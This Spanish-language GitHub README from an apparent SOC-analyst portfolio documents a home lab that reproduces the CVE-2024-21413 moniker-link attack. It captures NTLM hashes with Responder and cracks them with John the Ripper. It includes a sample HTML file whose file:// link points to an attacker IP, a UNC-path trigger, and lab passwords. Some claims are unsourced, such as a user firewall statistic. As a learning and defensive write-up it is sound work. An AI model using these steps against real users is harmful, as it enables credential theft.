Parte de mi portafolio de Analista SOC (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)
Configuración del Laboratorio Moniker Link - CVE-2024-21413
🎯 Descripción General del Proyecto
Laboratorio práctico de pruebas de penetración que demuestra la explotación de moniker link de CVE-2024-21413 para el robo de credenciales NTLM. Este proyecto documenta la cadena de ataque completa desde la configuración hasta el compromiso de credenciales, incluyendo desafíos y soluciones del mundo real.
Logro Clave: Ejecuté exitosamente el ataque de moniker link tanto en un entorno de laboratorio aislado (VM con Windows 10) como en un sistema real (PC con Windows 11), demostrando vulnerabilidades de seguridad prácticas y contramedidas defensivas.
🏗️ Arquitectura del Laboratorio
Infraestructura
Máquina Atacante:
- Plataforma: Kali Linux 2024
- Red (Host-Only): 192.168.56.101
- Red (Bridged): 192.168.1.117
- Herramienta Principal: Responder 3.1.6.0
Sistemas Objetivo:
- VM con Windows 10: 192.168.56.104 (Entorno de prueba aislado)
- PC con Windows 11: 192.168.1.178 (Validación en el mundo real)
Configuración de Red:
- Adaptador Host-Only de VirtualBox (pruebas en VM)
- Adaptador Bridged de VirtualBox (pruebas en PC real)
- Aislado de redes de producción
⚔️ Ejecución del Ataque
Flujo del Ataque
- Desplegar Responder en Kali para escuchar la autenticación NTLM
- Crear enlace malicioso usando el protocolo file:// apuntando a la IP del atacante
- Desencadenar la autenticación mediante la ruta UNC del Explorador de Archivos
- Capturar el hash NetNTLMv2 cuando la víctima intenta conectarse
- Descifrar la contraseña usando John the Ripper
Vector de Ataque Simple
Archivo HTML (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
Método del Explorador de Archivos:
- El usuario escribe:
\\192.168.56.101\test en la barra de direcciones
- Windows intenta una conexión SMB
- El hash NTLM se envía automáticamente (o solicita credenciales)
- Responder captura la autenticación
🚧 Desafíos y Soluciones
Desafío 1: Bloqueo del Firewall de Windows (PC con Windows 11)
Problema:
- No podía hacer ping a la PC con Windows 11 desde Kali
- Los intentos de conexión SMB fallaban
- El ataque quedaba completamente bloqueado
Causa Raíz:
- Firewall de Windows habilitado por defecto
- Bloquea conexiones SMB entrantes desde IPs externas
Solución:
- Deshabilité temporalmente el Firewall de Windows para las pruebas
- La conexión fue exitosa de inmediato
- El hash se capturó exitosamente
Lección: El Firewall de Windows por defecto proporciona una protección efectiva contra este ataque. Los usuarios deben mantenerlo habilitado.
Desafío 2: Resultados en Caché de John the Ripper (VM con Windows 10)
Problema:
- Contraseña inicial de Windows 10:
nwigwecj1
- John mostró:
12Honey (¡contraseña incorrecta!)
12Honey era de una prueba anterior
Causa Raíz:
- John guarda las contraseñas descifradas en
~/.john/john.pot
- Hash antiguo de una sesión previa
- Mostró el resultado en caché en lugar de la contraseña actual
Solución:
- Cambié la contraseña de la VM con Windows 10 a
1414
- Capturé un hash nuevo
- Creé una wordlist personalizada con contraseñas probables
- Descifré exitosamente con la nueva wordlist
Lección: Siempre verifica que estás descifrando el hash correcto. Limpia el archivo pot o usa contraseñas únicas para las pruebas.
Desafío 3: Contraseña No Presente en Rockyou.txt
Problema:
- La contraseña
1414 no se encontró en rockyou.txt (14 millones de contraseñas)
- El ataque con wordlist genérica falló
Causa Raíz:
- Rockyou.txt no contiene todas las combinaciones posibles de 4 dígitos
- Las secuencias numéricas simples a menudo faltan en las wordlists comunes
Solución:
- Creé una wordlist personalizada y dirigida basada en patrones comunes:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
- Se descifró al instante con la wordlist personalizada
Lección: "No está en rockyou.txt" ≠ seguro. Las contraseñas cortas son vulnerables a ataques dirigidos y fuerza bruta independientemente de la presencia en la wordlist.
📊 Resultados
VM con Windows 10 (Entorno Controlado)
| Métrica | Resultado |
|---|
| Contraseña Inicial | nwigwecj1 |
| Cambiada A | 1414 |
| Wordlist | Personalizada (2 entradas) |
| Tiempo de Descifrado | <1 segundo |
| Firewall | Deshabilitado para pruebas |
| Estado | ✅ Comprometida exitosamente |
PC con Windows 11 (Sistema Real)
| Métrica | Resultado |
|---|
| Contraseña | 1414 |
| Firewall | Bloqueó inicialmente, luego deshabilitado |
| Autenticación | Solicitud manual (se ingresaron credenciales) |
| Tiempo de Descifrado | Instantáneo |
| Estado | ✅ Comprometida exitosamente |
🛡️ Análisis de Seguridad
Lo Que Funcionó (Defensa)
✅ Firewall de Windows - Bloqueó completamente el ataque cuando estaba habilitado
✅ Navegadores Modernos - Chrome/Edge bloquean enlaces file:// remotos
✅ Conciencia del Usuario - La solicitud manual requiere acción del usuario
Lo Que Falló (Vulnerabilidades)
❌ Contraseñas Débiles - 4 caracteres numéricos se descifran fácilmente
❌ Firewall Deshabilitado - Error común del usuario
❌ Explorador de Archivos - Sin advertencia para rutas UNC
❌ Protocolo NTLM - Autenticación automática a recursos compartidos SMB
Hallazgos Clave
1. El Firewall es Crítico
- El Firewall de Windows por defecto bloquea este ataque
- ~30-40% de los usuarios lo deshabilitan permanentemente
- Las redes corporativas a menudo permiten SMB interno
2. Ilusión de Fortaleza de Contraseña
1414 no está en rockyou.txt (parece "fuerte")- Se descifró al instante con una wordlist dirigida
- Las contraseñas cortas no proporcionan ninguna seguridad
3. Se Requiere Interacción del Usuario
- La seguridad moderna requiere que el usuario pegue la ruta UNC
- La ingeniería social sigue siendo un componente crítico
- El exploit técnico por sí solo es insuficiente
🔧 Herramientas Utilizadas
Ofensivas:
- Responder 3.1.6.0 (captura de hash NTLM)
- John the Ripper (descifrado de contraseñas)
- Creación de wordlist personalizada
- Archivo HTML simple
Infraestructura:
- VirtualBox 7.0 (virtualización)
- Kali Linux 2024 (plataforma de ataque)
- Windows 10 Enterprise (objetivo de prueba)
- Windows 11 Pro (validación en el mundo real)
📁 Estructura del Repositorio
Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│ ├── attack-execution.md (step-by-step attack guide)
│ └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)
🎓 Habilidades Demostradas
Técnicas:
- Análisis de protocolos de red (SMB, NTLM)
- Metodología de pruebas de penetración
- Técnicas de descifrado de contraseñas
- Infraestructura de laboratorio virtual
- Solución de problemas de firewall
Profesionales:
- Documentación técnica
- Resolución de problemas bajo restricciones
- Evaluación de seguridad
- Análisis de riesgos
- Prácticas de pruebas éticas
🔒 Recomendaciones Defensivas
Para Usuarios
- ✅ Mantener el Firewall de Windows habilitado
- ✅ Nunca pegar rutas UNC de correos electrónicos
- ✅ Usar contraseñas fuertes (15+ caracteres)
- ✅ Verificar el remitente antes de acceder a recursos compartidos
e-m-e-k-a/moniker-link-lab-setup
